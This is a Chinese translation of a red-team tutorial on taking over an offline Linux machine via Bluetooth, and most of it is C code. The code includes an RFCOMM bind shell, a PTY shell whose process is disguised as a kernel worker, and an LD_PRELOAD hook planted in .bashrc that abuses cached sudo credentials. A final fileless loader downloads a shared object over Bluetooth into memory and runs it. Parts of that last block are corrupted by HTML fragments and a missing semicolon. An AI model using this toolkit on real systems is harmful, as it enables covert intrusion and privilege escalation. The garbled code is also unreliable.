如何只通過藍牙建立互動式Shell

如何只通過藍牙建立互動式Shell

來自專欄安全客

寫在前面的話

在練習中,偶爾會碰到一個或幾個需要物理訪問機器的階段。在這篇文章中,介紹了如何在沒有互聯網連接的Linux電腦中使用的物理方法入侵,當然可以使用Wi-Fi和藍牙。

這篇文章的主要目的是面向年輕讀者,記錄和解釋以下幾點:

1.如何通過藍牙在兩台設備之間通過RFCOMN交換信息

2.如何獲取互動式shell以運行命令

3.如何使用sudo緩存以提升許可權

4.如何在內存中運行二進位文件以減少跟蹤

介紹

由於目標機器不能連接到互聯網,所以操作受到了限制,應當考慮其他方案來實現遠程操作。最簡單的方法是建立一個小型Wi-Fi接入點並將受感染的機器連接到它。然而,考慮到給定的情況,還有另一種方式:通過藍牙建立通信。

通過藍牙與攻擊者連接

為了簡單起見,被入侵的機器和Red團隊之間的信息交換是通過RFCOMM協議進行的。對接受連接的小型伺服器進行編程非常簡單,因為它與TCP / IP應該如何完成相似:

#include <sys/socket.h>

#include <bluetooth/bluetooth.h>

#include <bluetooth/rfcomm.h>

#define BANNER "[+] You are connected to the device!n"

// people.csail.mit.edu/al

int main (int argc, char *argv[]) {

int s, client;

/*

struct sockaddr_rc {

sa_family_t rc_family;

bdaddr_t rc_bdaddr;

uint8_t rc_channel;

};

*/

struct sockaddr_rc loc_addr = {0}, client_addr = {0};

socklen_t opt = sizeof(client_addr);

s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);

loc_addr.rc_family = AF_BLUETOOTH;

loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina

loc_addr.rc_channel = (uint8_t) 1; // Canal 1

bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));

listen(s,1);

for(;;) {

client = accept(s, (struct sockaddr *)&client_addr, &opt);

printf("[+] New connection!n");

// Escribimos un mensaje al cliente que se ha conectado

write(client, BANNER, strlen(BANNER));

}

close(client);

close(s);

return 0;

}

在運行之前,應該啟用藍牙設備以便進行配對和通信:

hciconfig hci0 piscan

配對完成後,我們可以與使用「BlueTerm」Android應用程序創建的伺服器進行通信,以進行概念驗證。

作為伺服器的其它選擇和更好的替代方式是作為客戶機。我們必須創建一個小程序來搜索任何可用的藍牙設備,並基於某個簡單的前提(例如,特定的名稱或地址)並嘗試連接到自己。然後,開始信息交換。下面是如何實現上述邏輯的示例:

#include <sys/socket.h>

#include <bluetooth/bluetooth.h>

#include <bluetooth/hci.h>

#include <bluetooth/hci_lib.h>

#include <bluetooth/rfcomm.h>

// Nombre del dispotivo que queremos encontrar

#define TARGET "Gojira"

#define BANNER "Connected to device!n"

// people.csail.mit.edu/al

int connect_client(char *address) {

struct sockaddr_rc addr = {0};

int s, client;

s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);

addr.rc_family = AF_BLUETOOTH;

addr.rc_channel = (uint8_t) 1;

str2ba(address, &addr.rc_bdaddr);

client = connect(s, (struct sockaddr*)&addr, sizeof(addr));

if (client < 0) {

fprintf(stderr, "[-] Error: could not connect to targetn");

return 0;

}

write(s, BANNER, strlen(BANNER));

return 1;

}

int main (int argc, char **argv) {

inquiry_info *ii = NULL;

int max_rsp, num_rsp;

int dev_id, sock, len, flags, i;

char addr[19] = {0};

char name[248] = {0};

// Utilizamos el primer bluetooth disponible

dev_id = hci_get_route(NULL);

sock = hci_open_dev(dev_id);

if (dev_id < 0 || sock < 0) {

fprintf(stderr, "[-] Error opening socketn");

exit(EXIT_FAILURE);

}

len = 8;

max_rsp = 255;

// Limpiamos los dispositivos que puedan estar cacheados anteriormente

flags = IREQ_CACHE_FLUSH;

ii = (inquiry_info*) malloc(max_rsp * sizeof(inquiry_info));

// Bucle para escanear

for(;;) {

// Escaneo

num_rsp = hci_inquiry(dev_id, len, max_rsp, NULL, &ii, flags);

if (num_rsp < 0) {

fprintf(stderr, "[+] Error inquiry operationn");

free(ii);

exit(EXIT_FAILURE);

}

// Iteramos por todos los dispoitivos encontrados

for (i=0; i < num_rsp; i++) { ba2str(&(ii+i)->bdaddr, addr);

memset(name, 0, sizeof(name));

// Leemos el nombre de los dispositivos descubiertos

hci_read_remote_name(sock, &(ii+i)->bdaddr, sizeof(name), name, 0);

// Comprobamos si es el que estamos buscando

if (strcmp(TARGET, name) == 0) {

printf("Found! %s - %sn", name, addr);

free(ii);

close(sock);

connect_client(addr);

exit(EXIT_SUCCESS);

}

}

}

}

這些例子還強調了如何使用異常的RFCOMM來建立快速通信。

獲取互動式shell

以下步驟是指從我們自己的行動電話或任何其他設備在機器中運行命令。為此,我們將繼續以機器本身中等待連接的伺服器為例。獲取shell最常用的方法是分離進程,使用socket作為stdin/stdout/stderr進行子進程並運行命令解釋器

#include lt;stdio.h>

#include lt;stdlib.h>

#include lt;unistd.h>

#include lt;signal.h>

#include lt;string.h>

#include lt;sys/socket.h>

#include lt;bluetooth/bluetooth.h>

#include lt;bluetooth/rfcomm.h>

#define BANNER "[+] You are connected to the device!n"

// people.csail.mit.edu/al

int main (int args, char *argv[]) {

int s, client;

pid_t pid;

signal(SIGCHLD, SIG_IGN);

/*

struct sockaddr_rc {

sa_family_t rc_family;

bdaddr_t rc_bdaddr;

uint8_t rc_channel;

};

*/

struct sockaddr_rc loc_addr = {0}, client_addr = {0};

socklen_t opt = sizeof(client_addr);

s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);

loc_addr.rc_family = AF_BLUETOOTH;

loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina

loc_addr.rc_channel = (uint8_t) 1; // Canal 1

bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));

listen(s,1);

for(;;) {

client = accept(s, (struct sockaddr *)&client_addr, &opt);

printf("[+] New connection!n");

// Escribimos un mensaje al cliente que se ha conectado

write(client, BANNER, strlen(BANNER));

pid = fork();

if (pid == 0) {

dup2(client, 0);

dup2(client, 1);

dup2(client,2);

execve("/bin/sh", NULL, NULL);

}

}

close(client);

close(s);

return 0;

}

以這種方式運行命令時的根本問題可能是出現了限制,因為我們不能通過SSH啟動會話,使用VIM等。

自從幾年前,可能是由於OSCP和衍生產品,大量的文章詳細介紹了不同的方法,以便從一個有限的shell傳遞到真正的互動式shell。其中一些方法是:

  • pty.spawn(「/ bin / bash」)的經典Python單行程式
  • 「pty」選項的Socat
  • Expect / script
  • stty

但是,如果我們有機會使用我們自己的二進位文件作為在機器中運行命令的方法,使用forkpty(),可以創建一個從偽終端操作的子進程,並且可以從那裡運行該shell。證明如下:

#include <sys/socket.h>

#include <bluetooth/bluetooth.h>

#include <bluetooth/rfcomm.h>

#include

#include <sys/select.h>

#include <sys/wait.h>

#include

#define BANNER "[+] You are connected to the device!n"

// people.csail.mit.edu/al

int main (int args, char *argv[]) {

int s, client;

signal(SIGCHLD, SIG_IGN);

/*

struct sockaddr_rc {

sa_family_t rc_family;

bdaddr_t rc_bdaddr;

uint8_t rc_channel;

};

*/

struct sockaddr_rc loc_addr = {0}, client_addr = {0};

socklen_t opt = sizeof(client_addr);

s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);

loc_addr.rc_family = AF_BLUETOOTH;

loc_addr.rc_bdaddr = *BDADDR_ANY; // Cualquier adaptador disponible en la máquina

loc_addr.rc_channel = (uint8_t) 1; // Canal 1

bind(s, (struct sockaddr *)&loc_addr, sizeof(loc_addr));

listen(s,1);

for(;;) {

client = accept(s, (struct sockaddr *)&client_addr, &opt);

printf("[+] New connection!n");

// Escribimos un mensaje al cliente que se ha conectado

write(client, BANNER, strlen(BANNER));

dup2(client, 0);

dup2(client, 1);

dup2(client,2);

//A partir de aquí empieza la magia

struct termios terminal;

int terminalfd, n = 0;

pid_t pid;

char input[1024];

char output[1024];

// Creamos un nuevo proceso hijo que operará en un pseudoterminal

pid = forkpty(&terminalfd, NULL, NULL, NULL);

if (pid < 0) {

fprintf(stderr, "[-] Error: could not forkn");

exit(EXIT_FAILURE);

}

else if (pid == 0) { // Estamos en el proceso hijo que tiene el PTY

execlp("/bin/zsh", "[kworker:01]", NULL);

}

else { // Proceso padre

// Atributos: sin ECHO

tcgetattr(terminalfd, &terminal);

terminal.c_lflag &= ~ECHO;

tcsetattr(terminalfd, TCSANOW, &terminal);

// Utilizaremos select para comprobar si hay datos y enviarlos en un sentido u otro

fd_set readfd;

for(;;) {

FD_ZERO(&readfd);

FD_SET(terminalfd, &readfd); // Si terminalfd tiene datos

FD_SET(1, &readfd); // Si el socket tiene datos

select(terminalfd + 1, &readfd, NULL, NULL, NULL);

if (FD_ISSET(terminalfd, &readfd)) { // Hay datos desde el proceso hijo

n = read(terminalfd, &output, 1024);

if (n <= 0) { write(2, "[+] Shell is dead. Closing connection!nn", strlen("[+] Shell is dead. Closing connection!nn")); break; } write(2, output, n); // Los mandamos por el socket memset(&output, 0, 1024); } if (FD_ISSET(1, &readfd)) { // Hay datos en el socket memset(&input, 0, 1024); n = read(1, &input, 1024); if (n > 0) {

write(terminalfd, input, n); // Los escribimos en el STDIN del proceso hijo

}

}

}

}

}

close(client);

close(s);

return 0;

}

在下面的圖片中,我們可以清楚地看到我們之前沒有偽端點的外殼的不同之處:

通過這些基礎知識,我們可以通過藍牙使用Shell創建一個小型二進位機器控制器。讓我們繼續

通過sudo緩存提高許可權

雖然在前面的章節中,我們重點介紹了通過藍牙實現控制的概念證明,但理想情況下,我們的程序應儘可能以最大許可權運行。可以使用的最古老的技術之一是利用sudo緩存運行命令或我們自己的二進位文件。

默認情況下,當終端首次運行sudo時,需要用戶的密碼。但是,此密碼會在一段時間內被緩存,阻止用戶在每次使用sudo執行任務時引入該密碼。如果我們在執行sudo的終端中重複運行我們自己的二進位文件,這個功能很容易被濫用。因此,我們希望找到一個時間窗口,其中密碼被緩存並且未被請求,以便我們最終可以執行sudo。

實現上述事實的最簡單方法是編輯文件.bashrc(或其他使用其他shell的等效文件),並將環境變數LD_PRELOAD添加到我們的某個庫中。這就是我們如何在運行在該shell中的動態鏈接二進位文件中預載入我們的庫。當預載入我們的庫時,我們可以自由地掛接運行的任何函數。因此,每次調用該函數時,我們的一個主管職能部門應檢查憑證是否被緩存:如果是這種情況,將開始所需的一組操作。

重要:我們不會在sudo中載入我們的庫(因為它包含suid),我們真正在做的是將其載入到其他二進位文件中,以便每當運行掛鉤函數時檢查是否可以在不註冊密碼的情況下執行sudo 。

作為概念的簡單證明,我們可以使用以下示例來表示工作流程:

#define _GNU_SOURCE

#include <sys/stat.h>

#include <sys/wait.h>

//Basado en blog.maleadt.net/2015/0

typedef int (*orig_open_f_type) (const char *pathname, int flags);

int open(const char *pathname, int flags, ...){ // A modo de ejemplo "hookearemos" open()

orig_open_f_type orig_open;

pid_t pid, extrapid;

int empty, exitcode;

orig_open = (orig_open_f_type) dlsym(RTLD_NEXT, "open"); // Guardamos una referencia a la función open original

pid = fork(); // Nos forkeamos para comprobar si sudo se encuentra cacheado o no

if (pid == 0) { //Si estamos en el hijo...

empty = orig_open("/dev/null", O_WRONLY);

dup2(empty, STDERR_FILENO); // ...silenciamos cualquier error...

execlp("sudo", "sudo", "-n", "true", NULL);// ...y ejecutamos sudo

exit(-1);

} else { // Estamos en el padre...

wait(&exitcode);

if (WIFEXITED(exitcode) && WEXITSTATUS(exitcode) == 0) {

if (exitcode == 0){ // Si todo ha ido bien y hemos podido ejecutar sudo...

extrapid = fork(); //Nos forkeamos para dejar fluir el programa

if (extrapid == 0) {

printf("It worked!n"); // Y ejecutamos lo que queramos

execlp("sudo", "sudo", "id", NULL);

}

}

}

}

return orig_open(pathname, flags); // Llamamos al open() original y devolvemos el resultado

}

在內存中運行二進位文件

從內核3.17開始,我們依賴一個名為「 memfd_create 」 的新系統調用,它可以收集與內存相關的文件描述符。通過這種方式,可以執行文件操作,但這些操作不會鏈接到文件系統。因此,我們可以使用它來託管包含最相關代碼的庫或二進位文件(可通過藍牙下載)。這就是我們應該如何處理一個負責僅連接和下載一系列模塊的框架。但是將它們下載到/dev/shm並在運行或載入後快速刪除它們。這些想法在『Loading 「fileless」 Shared Objects (memfd_create + dlopen)』 後進行詳細說明。

我們將結合這篇文章中討論的所有內容(包括任何特定名稱檢測,連接,下載和載入的藍牙設備)作出以下代碼:

#define _GNU_SOURCE

#include <sys/socket.h>

#include <bluetooth/bluetooth.h>

#include <bluetooth/hci.h>

#include <bluetooth/hci_lib.h>

#include <bluetooth/rfcomm.h>

#include <sys/mman.h>

#include <sys/stat.h>

#include <sys/syscall.h>

#include <sys/utsname.h>

#define TARGET "Gojira"

#define SHM_NAME "IceIceBaby"

#define __NR_memfd_create 319 // code.woboq.org/qt5/incl

// Wrapper to call memfd_create syscall

static inline int memfd_create(const char *name, unsigned int flags) {

return syscall(__NR_memfd_create, name, flags);

}

// Detect if kernel is < or => than 3.17

// Ugly as hell, probably I was drunk when I coded it

int kernel_version() {

struct utsname buffer;

uname(&buffer);

char *token;

char *separator = ".";

token = strtok(buffer.release, separator);

if (atoi(token) < 3) { return 0; } else if (atoi(token) > 3){

return 1;

}

token = strtok(NULL, separator);

if (atoi(token) < 17) {

return 0;

}

else {

return 1;

}

}

// Returns a file descriptor where we can write our shared object

int open_ramfs(void) {

int shm_fd;

//If we have a kernel < 3.17

// We need to use the less fancy way

if (kernel_version() == 0) {

shm_fd = shm_open(SHM_NAME, O_RDWR | O_CREAT, S_IRWXU);

if (shm_fd < 0) { //Something went wrong <img draggable="false" class="emoji" alt="??" src="s.w.org/images/core/emo"> fprintf(stderr, "[-] Could not open file descriptorn"); exit(-1); } } // If we have a kernel >= 3.17

// We can use the funky style

else {

shm_fd = memfd_create(SHM_NAME, 1);

if (shm_fd < 0) { //Something went wrong <img draggable="false" class="emoji" alt="??" src="s.w.org/images/core/emouot;>

fprintf(stderr, "[- Could not open file descriptorn");

exit(-1);

}

}r/> return shm_fd;

}

r/>

// Load the shared objectbr/>void
load_so(int shm_fd) {r/> char path[1024];r/> void *handle;

printf("[+] Trying to load Shared Object!n");r/> if (kernel_version() == 1) { //Funky way

snprintf(path, 1024, "/proc/%d/fd/%d", getpid(), shm_fd);

} else { // Not funky way <img draggable="false" class="emoji" alt="??" src="s.w.org/images/core/emouot;>

close(shm_fd);

snprintf(path, 1024, "/dev/shm/%s", SHM_NAME);

}

handle = dlopen(path, RTLD_LAZY);r/> if (!handle) {

fprintf(stderr,"[-] Dlopen failed with error: %sn", dlerror());

}

}r/>

//Connect to client, read module and write to RAMbr/>int
download_to_RAM(char *address) {r/> struct sockaddr_rc addr = {0};r/> char recvBuff[2048];r/> int s, client, fd, size;

s = socket(AF_BLUETOOTH, SOCK_STREAM, BTPROTO_RFCOMM);

addr.rc_family = AF_BLUETOOTH;

addr.rc_channel = (uint8_t) 1;

str2ba(address, &addr.rc_bdaddr);

client = connect(s, (struct sockaddr*)&addr, sizeof(addr));

/>

if (client < 0) {

fprintf(stderr, "[-] Error: could not connect to targetn");

exit(-1)

}

fd = open_ramfs();

printf("[+] File descriptor for RAM file createdn");

printf("[+] Reading file from socket & writting to RAM file... ");r/> while(1) {r/> if ((size = read(s, recvBuff, 2048)) <= 0) {

printf("finishedn");r/> break;

}

write(fd, recvBuff, size);

}r/> return fd;

}

/>

int main (int argc, char **argv) {r/> int fd;

inquiry_info *ii = NULL;r/> int max_rsp, num_rsp;r/> int dev_id, sock, len, flags, i;r/> char addr[19] = {0};r/> char name[248] = {0};

/>

// Utilizamos el primer bluetooth disponible

dev_id = hci_get_route(NULL);

sock = hci_open_dev(dev_id);r/> if (dev_id < 0 || sock < 0) {

fprintf(stderr, "[-] Error opening socketn");

exit(EXIT_FAILURE);

}

len = 8;

max_rsp = 255;

/>

// Limpiamos los dispositivos que puedan estar cacheados anteriormente

flags = IREQ_CACHE_FLUSH;

ii = (inquiry_info*) malloc(max_rsp * sizeof(inquiry_info));

/>

// Bucle para escanearr/> for(;;) {r/> // Escaneo

num_rsp = hci_inquiry(dev_id, len, max_rsp, NULL, &ii, flags);r/> if (num_rsp < 0) {

fprintf(stderr, "[+] Error inquiry operationn");

free(ii);

exit(EXIT_FAILURE);

}

/>

// Iteramos por todos los dispoitivos encontradosr/> for (i=0; i < num_rsp; i++) { ba2str(&(ii+i)->bdaddr, addr);

memset(name, 0, sizeof(name));

/>

// Leemos el nombre de los dispositivos descubiertos

hci_read_remote_name(sock, &(ii+i)->bdaddr, sizeof(name), name, 0);

/>

// Comprobamos si es el que estamos buscandor/> if (strcmp(TARGET, name) == 0) {

printf("Found! %s - %sn", name, addr);

free(ii);

close(sock);

fd = download_to_RAM(addr);

load_so(fd);

exit(EXIT_SUCCESS);

}

}

}

exit(0);

}

本文翻譯自 tarlogic.com/, 原文鏈接 。如若轉載請註明出處。


推薦閱讀:

如何評估聚類有效性
Coursera完成課程列表
模擬——日期計算器(20180125)
經典小程序源碼及其下載地址
我如何看待用1公斤DNA存儲全球信息這個事情

TAG:計算機科學 | 藍牙Bluetooth | 黑客Hacker |